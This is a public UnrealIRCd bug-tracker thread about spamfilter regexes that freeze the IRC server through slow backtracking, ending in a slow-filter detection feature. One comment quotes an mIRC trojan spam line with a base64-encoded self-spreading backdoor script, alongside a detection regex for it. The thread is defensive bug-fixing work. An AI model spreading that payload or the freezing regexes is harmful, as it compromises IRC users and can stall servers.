View Issue Details

IDProjectCategoryView StatusLast Update
0002887unrealircdpublic2008-08-08 09:21
ReporterhmtX Assigned Tosyzop  
PrioritynormalSeveritycrashReproducibilityalways
Status resolvedResolutionfixed 
OSLinuxOS Version2.6.8 
Product Version3.2.4 
Summary0002887: TRE/regex: IRCD process stops responding (halts, freezes)
DescriptionUsage of possessive quantifiers in spamfilter regexes (almost, more to that later) always produces these results. Need to kill ircd and restart it to get it working again. Depending on the event such a spamfilter is placed on it can cause doom to a whole network (eg. if it tries to match on a private message and you notice fast enough you can still remove it without a problem, adding a nick!user@host filter is less forgiving..).
I have no logs because none are created. I first enountered this on a live network with devastating results, we had alot of modules loaded back then so we setup a testircd with no extras and found it still hangs up.

What is kind of weird though is that out of 14 servers, 2 were not harmed even though they got the filter aswell... No idea.
Steps To ReproduceDidn't test it with different reasons or anything so that's exactly what we did:

add a spamfilter for user ban, duration 2d, action gzline, reason "[Z:hmtX^mokkori] Spamming is not allowed on Immoral-Anime.Net", regex ^([a-z]++)!\1@[^:]++:(?-i)Real name$

Note: Replacing both ++ with +? will work fine
Additional InformationThe problem is not related to ++, but the use of back references (\1,
\2, and so on). If back references are used, TRE must use the
"backtracking" matcher which is not guaranteed to finish quickly -- so
TRE will eventually find a match, it's not an infinite loop, it just
taks a ridiculously long time. If you want to guarantee that this
problem does not occur, do not use back references.
TagsNo tags attached.
3rd party modules

Activities

hmtX

2006-04-19 06:18

reporter   ~0011575

forgot to mention the other boxes were mainly all kinds of freebsd versions

syzop

2006-04-19 07:07

administrator   ~0011576

Trying to freeze myself, but not much success yet.. Are there certain nickmasks that need to be online? I've "[email protected]:Real name" online, but don't know if that should match or not (it doesn't), I'm not familiar with this ++ stuff ;). I've 250 clones with other nicknames online as well.

The two that didn't freeze, where they on Linux ? (I'm using Linux)

Just trying to gather as much info to be able to reproduce it, so I can report it to the TRE library maintainer so he can try to figure it out :)

hmtX

2006-04-19 07:32

reporter   ~0011577

Last edited: 2006-04-19 07:34

certain nickmasks.. i don't think so on the testserver only myself and a network owner connected and added it, we didn't match either.

the ++ stuff -> http://www.regular-expressions.info/atomic.html

the two that didn't freeze run FreeBSD 4.10-RC and FreeBSD 4.11-STABLE, affected servers are running various versions like FreeBSD 6.0-RELEASE or FreeBSD 5.4-STABLE but atleast one i checked also runs FreeBSD 4.11-STABLE and it was affected. There is only one linux box connected to the network (the one i put in when reporting) and it is affected by this aswell. One of the unaffected serversl is a hub server with no client connections while the other is a client server.

Weird that you can not reproduce this case, how about this:

F p block 0 3793023 259200 Spamming_users_with_an_mIRC_trojan.If_you_need_help_removing_it_join#help_and_ask. hmtX^[email protected] \s///*\.?write\s([^\s]++)\s\$decode\([0-9a-z+/=]++,m\)\s\|\s(\.)?load\s-rs\s\1$

trigger with pm: Want be an OP in #anime-4ever ? paste this-> //write AOP $decode(b24gISsxOnRleHQ6KjojOnsgLmF1c2VyIDIgJG5pY2sgfCAuam9pbiAtbiAjUmVtYWphQ2hhdCB8IC53cml0ZSAtbDEgYmQgY3RjcCAqOiohaGVscCo6LiAkICQrIDItIHwgLmxvYWQgLXJzIGJkIHwgLm1zZyAkbmljayBXYW50IGJlIGFuIE9QIGluICRjaGFuID8gcGFzdGUgdGhpcy0+IAM0Ly93cml0ZSBBT1AgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIEFPUCB9,m) | .load -rs AOP

Could not reproduce a freeze when i tested it on the testircd running freebsd but it sure did freeze the ircd process on my linux box when i added it on a live network...

syzop

2006-04-19 07:34

administrator   ~0011578

that one worked ;)

syzop

2006-04-23 19:53

administrator   ~0011603

argh, forgot to forward the bug, will do in the next couple of days, and confirm back here.

If you don't hear anything back from me after a week, feel free to shout at me ;)

syzop

2006-04-26 18:43

administrator   ~0011609

god... I finally wanted to download latest TRE, make a testcase, check, and submit it... then THEIR SITE IS DOWN [ http://laurikari.net/tre/ ] Argggggh. Too bad then.

Will try later again.. I hope...

syzop

2006-04-27 18:28

administrator   ~0011619

still down today :(

hmtX

2006-04-28 02:58

reporter   ~0011643

works again :)

syzop

2006-04-28 17:55

administrator   ~0011651

The bug (including testcase .c file) has now been submitted to TRE author. The latest TRE (0.7.3) also appeared to have this problem.

I'll keep you updated on the progress reports I get back (if any) ;)

syzop

2006-05-31 15:35

administrator   ~0011810

Last edited: 2006-05-31 15:36

I forgot to mention it, but I had a reply back from the TRE author a week ago (May 23), he replied:
-
The problem is not related to ++, but the use of back references (\1,
\2, and so on). If back references are used, TRE must use the
"backtracking" matcher which is not guaranteed to finish quickly -- so
TRE will eventually find a match, it's not an infinite loop, it just
taks a ridiculously long time. If you want to guarantee that this
problem does not occur, do not use back references.

There is probably something that can be done in TRE to avoid the
particular problem you've encountered. Looking at the regexp and
string it shouldn't have to do massive backtracking. I'll take a look
and see if I can make it work better. Unfortunately it is not
possible to guarantee fast execution for all cases where back
references are used.
-

I replied back that without the ++ (the ++ -> +?) there was no performance problem and asking to look again.

That said, looking at what currently can be done.. I think your regex should still work reasonably well without any backreferences and such.. isn't it?
I also must confess I don't know the ++ stuff so I don't know for sure.

Note that I'm not saying I don't appreciate the bugreport, I do, if people don't report bugs, they never get fixed... I'm just saying, I think we can live with the current issue for now, especially with the //write thing for example it should be np. Not that I can do much anyway, the TRE regex code is impossible to understand for an outsider like me :p.

hmtX

2006-05-31 16:26

reporter   ~0011811

You're right, I was only making use of the ++ because it's supposed to speed up failure and i figured speedups for intensive nick!user@host:name checks wouldn't be a bad thing. Anyways it's no problem if it can't be solved now.

It should be brought to public attention though so others know about the issue and avoid possessive quantifiers; maybe put a note in the faq/docs.

syzop

2006-05-31 17:07

administrator   ~0011812

Good idea, I'll put it in the known bugs section of the release notes.

syzop

2006-05-31 17:10

administrator   ~0011814

Oh a question... Would it be safe to check for ++ in the regex, and if it contains it, just reject it? Then I'll do that as well.

With safe I mean, is there another use of ++ that it would also affect / are there other ways to get possessive quantifiers other than ++.

hmtX

2006-05-31 18:19

reporter   ~0011815

Last edited: 2006-05-31 18:23

there are indeed, all greedy quantifiers can be made possessive: x*+ // x{0,}+, x?+ // x{0,1}+, x++ // x{1,}+

I'm not sure if TRE has support for atomic groups, haven't tested that yet, but if so then they might be affected aswell since possessive quantifiers are a special form of atomic groups. Without going into too much detail, x++ would be the same as (?>x+) . Will need to test this.

syzop

2006-05-31 18:54

administrator   ~0011817

Ok. For now I have the following comment in release notes:
- Regexes: Possessive quantifiers such as, for example, "++" (not to be confused with "+")
  are not safe to use, they can freeze the IRCd.

Let me know if it should be updated if you find something else that is affected.

hmtX

2006-06-01 06:45

reporter   ~0011819

Last edited: 2006-06-01 07:01

I've confirmed that all allowed variants i listed lift the same results for the //write regex = freeze
---
edit:

I've done some testing and found the culprit to be this:

([^\s]++) \1

A backreference to a token made up by a possessive quantifier; the broader and longer the match the longer it'll take. The example regex applied to a chan message will slow down soon,

[13:33:09] <hmtX^test_> 1234567891234 1234567891234
[13:34:28] -Test.Immortal-Anime.Net- [Spamfilter] hmtX^test_!~foobar@****.****.net matches filter '([^\s]++) \1': [PRIVMSG #help: '1234567891234 1234567891234'] [[Z:hmtX^mokkori] Spamming is not allowed. (#0000)]

13 chars for ~ 1:20min freeze.

Add another char and the freeze lasts for over 2 mins (i killed the process after 2 mins so dunno the exact time)

If you use a less broad match like (A++) \1 it'll take more chars before slowdowns are noticable:

[13:36:30] <hmtX^test_> AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA
[13:37:03] -Test.Immortal-Anime.Net- [Spamfilter] hmtX^test_!~foobar@****.****.net matches filter '(A++) \1': [PRIVMSG #help: 'AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA'] [[Z:hmtX^mokkori] Spamming is not allowed. (#0000)]

26 chars for ~ 30sec freeze.

---
edit:

Changing the quantifiers to normal greedy ones ([^\s]+) // (A+) will not cause any delay as expected.

The problem is clear: Do not backreference possessive quantifiers.

---
edit:

That is btw the exact reason why you couldn't cause a freeze when you tested my first proposed spamfilter regex ^([a-z]++)!\1@[^:]++:(?-i)Real name$
As your clones used [email protected]:Real name, aa is too short to be noticable. However on a network with 1600+ users and longer idents the delays will add up.

hmtX

2006-06-01 07:31

reporter   ~0011820

maybe send those details to the tre authors aswell so they know exactly what to check for.

syzop

2006-06-01 07:38

administrator   ~0011821

Yeah I know, I found that out, I gave the author a test program that would run with 5 - XXX characters, and you could see the delay increasing near-exponentional :p. Sorry, forgot to mention that.

codemastr

2006-06-04 21:01

reporter   ~0011850

I was too lazy to read all of this, but last I checked, TRE doesn't even support possessive quantifiers. In fact, it doesn't need to. It always implements repetition operators without the need of backtracking (it's just the way its algorithm works). ++ should most likely be a syntax error.

I believe I even talked with Ville about it and he told me that it wasn't needed. I briefly looked through the code and I don't see anything in there to deal with ++ so I think it should be treated as a syntax error.

syzop

2006-06-06 06:31

administrator   ~0011871

private -> public

ircop (with can_gkline or config access) required for this to happen anyway ;)

syzop

2006-06-06 06:38

administrator   ~0011872

I know this is kinda offtopic, but on the other hand it's related :P
If I'm not mistaken .NET (possibly others as well) had some "variable passing" thing to regex. In short, would it be possible to make TRE know that "blah" is the nick, "blih" the ident", etc... and then use a regex like "<nick>!.*<nick>@<nick>" or however it would work... :P
It probably has some kind of beautiful name, as usual :P

Basically, so you can get rid of some backreferences for at least the user target (though, I suppose not always, like how do you handle nicks with 16 characters when the ident can only hold 9-10 etc).

codemastr

2006-06-06 09:26

reporter   ~0011875

[quote]If I'm not mistaken .NET (possibly others as well) had some "variable passing" thing to regex[/quote]
Yeah it does have a fancy name, "named back references." It's still a backref, it just uses \k'name' rather than \1. Actually, \1 will even still work. It creates both a regular backref and a named backref when you use it :)

syzop

2006-06-06 09:42

administrator   ~0011876

Oh ok. I guess what I actually meant is that we (Unreal) pass, something like nick=abc via whatever method, and then TRE knows that if someone uses '<nick>' or whatever it refers to 'abc'. Like.. so you can use "variables" in regex.
Don't know if that exists.. :Pp

Now rethinking it, I'm unsure if it's that useful but.. ah well.

stskeeps

2006-06-06 10:11

reporter   ~0011877

Last edited: 2006-06-06 10:14

I'd say enabling our users to insert matching stuff-on-the-fly would make things interesting. But not sure if performance would be so good as it would have to recompile regexp each time. But this might be directly faster than using backrefs in some cases

stskeeps

2006-06-06 10:13

reporter   ~0011878

[17:12] <Speed> you sould code something in spamfilter process that warns the user if it finds a backref on load...something like "Backref detected, be aware of the risks bla bla bla"

syzop

2006-06-06 10:29

administrator   ~0011880

Last edited: 2006-06-06 10:31

stskeeps: I did some testing, trying to duplicate your (well, that other guy that aparently does not want to submit a bugreport) problem with backrefs.

You said:
[quote]
Spamfilter is regex "^([a-zA-Z]+)(\d+)!(\1)@(.*)$";
I'm rather puzzled at the use of strncmp(a,b,1) use

15860 0.000132 [0x808f39a] strncmp("Bravo, nicko!!! ai ghicit , ras"..., "ravo, nicko!!! ai ghicit , rasp"..., 1) = -48 <0.000047>
15860 0.000162 [0x808f39a] strncmp("ravo, nicko!!! ai ghicit , rasp"..., "avo, nicko!!! ai ghicit , raspu"..., 1) = 17 <0.000046>
15860 0.000173 [0x808f39a] strncmp("avo, nicko!!! ai ghicit , raspu"..., "vo, nicko!!! ai ghicit , raspun"..., 1) = -21 <0.000047>
[/quote]

Now.. first of all, I wonder what this regex is doing for a message target.
If I'm not mistaken it matches things like Blah500!Blah@<etc> so definately looks like a user target to me.

Anyway, when trying to see how fast it would be I did stuff like this:
regex '^([a-zA-Z]+)(\d+)!(\1)@(.*)$' against 'Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ Blah500!Blah@ ': 0 seconds

up to something of 512 characters.
Then something that would not match, so Blah500!Blah/ Blah500!Blah/ etc
But that was stupid, since it would instantly see it won't match
Just as stupid as the first one though, since the other one would have stopped at the first match as well (all the rest would be matched by the .*)

Then ehm...
regex '^([a-zA-Z]+)(\d+)!(\1)@(.*)$' against 'Blah6809474171855833146384662594917717766393590283790528115466079950748578947997568543554212839936020870884803752626993525720823745743953433908182992364038040416101606061353492883010615541782415787503650999380901975649819270760612178297327338727211394234430792911750785448413354485': 0 seconds

(and up to 512 chars)... still no luck with getting >0 second.

Looking at your output, sts, it sounds unlogical why it would take so long. Assuming the sentence starts with "Bravo, nicko!!! ai ghicit , ras", it would already stop matching at the comma since it was expecting a digit.

And.. tried this one as well (again, up to 512 chars):
regex '^([a-zA-Z]+)(\d+)!(\1)@(.*)$' against 'Blah2643867081981648501597062895027281779798898052024373001580004!Blah@': 0 seconds

This was all tested with the TRE we ship, in fact the one UnrealIRCd compiled, so I didn't accidently use another version or anything.

In short: I'm unable to duplicate any speed issues unless using that ++ thing, but that wasn't used here.

That said, as the author said, by definition they are slow (EDIT: unpredictable, actually), but... like I said.. when testing it I'm not really getting slowdown.

syzop

2006-06-06 11:41

administrator   ~0011881

Just to keep the rest up to date..

[18:25:31] <Stskeeps> Syzop[AWAY]: sorry, i got another regexp that was more proper
[18:25:31] <Stskeeps> sec
[18:25:31] <Stskeeps> regex "^.*(\w)\1{15,}.*$";
[18:25:31] <Stskeeps> is designed to avoid repeating characters like loooooooooooooooooooooooooooooool
------------------
[18:30:21] <Syzop[AWAY]> *nod*
[18:30:29] <Syzop[AWAY]> that's better :p
[18:30:33] <Syzop[AWAY]> regex '^.*(\w)\1{15,}.*$' against 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa': 540 msec
[18:30:42] <Syzop[AWAY]> what I wonder though, is, why does it increase
[18:30:46] <Syzop[AWAY]> why doesn't it stop after 15 chars
[18:31:05] <Syzop[AWAY]> or does it some kind of stuff like "find the largest match" or whatever (no-regex-expert speaking here)
[18:31:08] <Syzop[AWAY]> ;P
[18:31:34] <Syzop[AWAY]> hmm the .*$ maybe
[18:31:41] <Syzop[AWAY]> (would be odd)
[18:32:21] <Syzop[AWAY]> hm without the .*$ it does the largest one (512 chars) in 52 msec
[18:32:33] <Syzop[AWAY]> :)
[18:36:37] <Syzop[AWAY]> I guess that proves sometimes humans are still smarter than computers ;P

I've actually been thinking about something.. which is... add timing of how long a regex takes, and automatically disable one if it takes for example longer than 500ms or 1 second to execute (and send out a notice, obviously). But what I wonder is, would the - for example - gettimeofday() calls slow things down too much or not? Because we are talking about, if for example 30 regexes, something like 60 (or 31, but that's scary) gettimeofday() system calls for one simple message... I mean, maybe it slows things down too much, which obviously sucks and only makes things worse (if there's no trouble).

Could also have one big gettimeofday thing before all regexes and one after (that's only 2 calls), but then the only thing we can do is like send a notice "ok, well.. SOME regex is taking a long time! We have no idea which though, good luck." and/or disable them all... That can't be good :PP

syzop

2006-06-06 11:50

administrator   ~0011882

Last edited: 2006-06-06 11:54

Linux 2.4 (2.6 might be even better due to SYS..whatever syscall jumping):
$ gcc -o syscallbench syscallbench.c -O2 -Wall && ./syscallbench
gettimeofday(): 4309577 calls
        time(): 4721799 calls

So that's 4.X million syscalls, in other words: less than a nanosecond for it to execute

But.. that's just Linux, would have to check others (FreeBSD) as well. And of course, we also have windows, but if I'm not mistaken it should have a real fast function as well.

EDIT: Btw, just in case you wonder, I verified with strace the system calls actually took place ;p (though, naturally, the calls/sec decreases then.. to 20K/sec to be exact)

EDIT2: This was all tested on an athlon 1800, but if it's only a nanosecond on that, it should only be a couple of nanosecs on even a p450... but hey.. I got a p450 ! I'll test after dinner ;)

EDIT3: Obviously this has no use if a regex takes several seconds or even minutes to execute, it's completely pointless for that. Then again, if you are lucky it would detect it's quite slow for small sentences/whatever already and would disable it by time, but it's of course no guarantee.

EDIT4: This might be more something for Unreal3.2.6, since it's kinda complex and... experimental :P

EDIT5: It would actually be nice if we also put these performance figures in the stats for spamfilter as well. Naturally :P

syzop

2006-06-06 11:54

administrator   ~0011883

remark: message above was editted 5 times ;p

hmtX

2006-06-06 12:18

reporter   ~0011884

In regards to "^.*(\w)\1{15,}.*$":

I'd use "(\w)\1{14,}?" since ^.* and .*$ are just a waste of match time and the ? makes the match lazy so it'll stop after the 15th matched char.

syzop

2006-06-06 13:14

administrator   ~0011885

Last edited: 2006-06-08 07:16

Hm, I like the timing idea, I've made it a childitem for Unreal 3.2.6 (otherwise we just keep postponing 3.2.5, in this case for an issue that already exists for years anyway) :).

EDIT: On second thought, we would need getrusage(), since timing is unreliable on a multitasking OS (otherwise it would randomly disable spamfilters if some other high priority process, or whatever, takes too much time).

EDIT: getrusage() seems half as fast as gettimeofday/time. Still acceptable I guess, but obviously needs some good thoughts and testing. And it should all be optional, and settable when to kick the protection in (possibly in milliseconds).

syzop

2006-06-06 13:16

administrator   ~0011886

hmtX: On the original issue (++), codemastr mailed the TRE author again, his info is probably a bit clearer than mine :P

hmtX

2006-06-06 13:20

reporter   ~0011887

ok :)

codemastr

2006-06-11 17:52

reporter   ~0011947

I've yet to hear back from the TRE author, but I did discover a bit of what causes the issue. The problem only occurs when backreferences are used. This is because it then forces TRE to use the backtracking matcher which is significantly less efficient than its normal parser. But unfortunately, backreferences are inefficient.

The problem surfaces when using multipe repeat operators. It has nothing to do with "possessive quantifiers" (TRE doesn't even support that feature). For example, something like {1,}{1,} will cause the issue as well. The POSIX standard says that such a situation is undefined. TRE is trying to handle it with an "or" condition it seems. Meaning doing, for example "a+*" on an input of "b" is equivilent to "a*" because it first does "a+" which fails, so it then does "a*" which succeeds. For some reason, this, combined with backtracking, causes the issue. I have the author as much info as I could, hopefully he'll come up with a nice solution. The easiest would be to simply not allow multiple repetition operators (which is perfectly fine according to the POSIX standard) but I guess we'll just have to see.

syzop

2006-11-04 16:37

administrator   ~0012587

Seems there's still no new TRE version released.

I think for Unreal33* we should seriously rethink what regex engine to use (speed + development activity + widespreadness), since this TRE thing is only worked upon by one author, and it seems like only one author actually understands the code, and... this author happens to have little time and IMO does way too few testing as well IMO.
Thankfully for Unreal33* we'll also have spamfilter globbing support.

For 32* I think we'll just continue with TRE for compatability... Even if it means we'll be stuck with some current bugs.

djGrrr

2006-11-27 05:04

reporter   ~0012744

Last edited: 2006-11-27 05:07

i think that Unreal 3.3* should use PCRE as this is the fastest REGEXP engine around (as far as i know anyways), the syntax is somewhat different, so it would need to be 3.3 to not break compatibility.

PCRE has a lot better back references, and can do more complicated regular expressions which TRE is not even capable of doing.

I've run into situations several times where if it used PCRE i could have easily taken care of a botnet, but with TRE it was pretty much impossible to do; I had to do all the bans manually.

www.pcre.org

w00t

2007-01-04 22:23

reporter   ~0012999

I use POSIX because I'm lazy (and dislike external libs), but I'm unsure how you'd do with w32 support there. Though there's probably an implementation lying around.

WolfSage

2007-06-11 18:35

reporter   ~0014331

tre-0.7.5 now comes back with the error "Invalid use of repetition operators" if you attempt any of these. So that seems good for 3.2.7 (I've already upgraded it)

However, for 3.3, do we want to go with something else as we said, or stick with tre?

syzop

2008-08-08 09:21

administrator   ~0015341

I presume what WolfSage said is correct and that (part of?) the bug has been fixed.
However, this still doesn't solve the regex problem in general (actually it can't be solved, but.. whatever)... I've implemented my idea from June 2006 now, naturally this requires some testing ;p:
- Added slow spamfilter detection. For each spamfilter, Unreal will check,
  each time it executes, how LONG it takes to execute. When a certain threshold
  is reached the IRCd will warn or even remove the spamfilter. This will prevent
  a spamfilter (regex) from slowing down the IRCd too much, though it's still not
  a guarantee that it will never go to a halt (eg: in case it takes several
  minutes to execute a regex or loops forever).
  Warning can be configured via set::spamfilter::slowdetect-warn (default:
  250 milliseconds) and automatic deletion of spamfilters if it takes too
  long is set through set::spamfilter::slowdetect-fatal (default: 500 ms).
  NOTE: slow spamfilter detection is currently not available on Windows.
  NOTE 2: to disable slow detection you can set the warn and fatal settings
  to 0 (zero). OR to really disable all code, remove SPAMFILTER_DETECTSLOW
  from include/config.h and recompile.

Issue History

Date Modified Username Field Change
2006-04-19 06:03 hmtX New Issue
2006-04-19 06:18 hmtX Note Added: 0011575
2006-04-19 07:07 syzop Note Added: 0011576
2006-04-19 07:07 syzop Status new => acknowledged
2006-04-19 07:32 hmtX Note Added: 0011577
2006-04-19 07:34 hmtX Note Edited: 0011577
2006-04-19 07:34 syzop Note Added: 0011578
2006-04-19 07:34 syzop Status acknowledged => confirmed
2006-04-23 19:53 syzop Note Added: 0011603
2006-04-26 18:43 syzop Note Added: 0011609
2006-04-27 18:28 syzop Note Added: 0011619
2006-04-28 02:58 hmtX Note Added: 0011643
2006-04-28 17:55 syzop Note Added: 0011651
2006-05-31 15:33 syzop Summary IRCD process stops responding => TRE/regex: IRCD process stops responding (halts, freezes)
2006-05-31 15:35 syzop Note Added: 0011810
2006-05-31 15:36 syzop Note Edited: 0011810
2006-05-31 16:26 hmtX Note Added: 0011811
2006-05-31 17:07 syzop Note Added: 0011812
2006-05-31 17:10 syzop Note Added: 0011814
2006-05-31 18:19 hmtX Note Added: 0011815
2006-05-31 18:23 hmtX Note Edited: 0011815
2006-05-31 18:54 syzop Note Added: 0011817
2006-06-01 06:45 hmtX Note Added: 0011819
2006-06-01 06:46 hmtX Note Edited: 0011819
2006-06-01 06:46 hmtX Note Edited: 0011819
2006-06-01 06:55 hmtX Note Edited: 0011819
2006-06-01 07:01 hmtX Note Edited: 0011819
2006-06-01 07:31 hmtX Note Added: 0011820
2006-06-01 07:38 syzop Note Added: 0011821
2006-06-04 21:01 codemastr Note Added: 0011850
2006-06-06 06:31 syzop Note Added: 0011871
2006-06-06 06:31 syzop View Status private => public
2006-06-06 06:38 syzop Note Added: 0011872
2006-06-06 09:26 codemastr Note Added: 0011875
2006-06-06 09:42 syzop Note Added: 0011876
2006-06-06 10:11 stskeeps Note Added: 0011877
2006-06-06 10:12 stskeeps Additional Information Updated
2006-06-06 10:13 stskeeps Note Added: 0011878
2006-06-06 10:14 stskeeps Note Edited: 0011877
2006-06-06 10:29 syzop Note Added: 0011880
2006-06-06 10:31 syzop Note Edited: 0011880
2006-06-06 11:41 syzop Note Added: 0011881
2006-06-06 11:50 syzop Note Added: 0011882
2006-06-06 11:52 syzop Note Edited: 0011882
2006-06-06 11:52 syzop Note Edited: 0011882
2006-06-06 11:54 syzop Note Edited: 0011882
2006-06-06 11:54 syzop Note Edited: 0011882
2006-06-06 11:54 syzop Note Added: 0011883
2006-06-06 12:18 hmtX Note Added: 0011884
2006-06-06 13:13 syzop Relationship added child of 0002936
2006-06-06 13:14 syzop Note Added: 0011885
2006-06-06 13:16 syzop Note Added: 0011886
2006-06-06 13:20 hmtX Note Added: 0011887
2006-06-08 07:15 syzop Note Edited: 0011885
2006-06-08 07:16 syzop Note Edited: 0011885
2006-06-11 17:52 codemastr Note Added: 0011947
2006-11-04 16:37 syzop Note Added: 0012587
2006-11-04 18:20 syzop Relationship deleted child of 0002936
2006-11-27 05:04 djGrrr Note Added: 0012744
2006-11-27 05:07 djGrrr Note Edited: 0012744
2007-01-04 22:23 w00t Note Added: 0012999
2007-06-11 18:35 WolfSage Note Added: 0014331
2008-08-07 15:04 syzop Status confirmed => assigned
2008-08-07 15:04 syzop Assigned To => syzop
2008-08-08 09:21 syzop QA => Not touched yet by developer
2008-08-08 09:21 syzop U4: Need for upstream patch => No need for upstream InspIRCd patch
2008-08-08 09:21 syzop Status assigned => resolved
2008-08-08 09:21 syzop Resolution open => fixed
2008-08-08 09:21 syzop Note Added: 0015341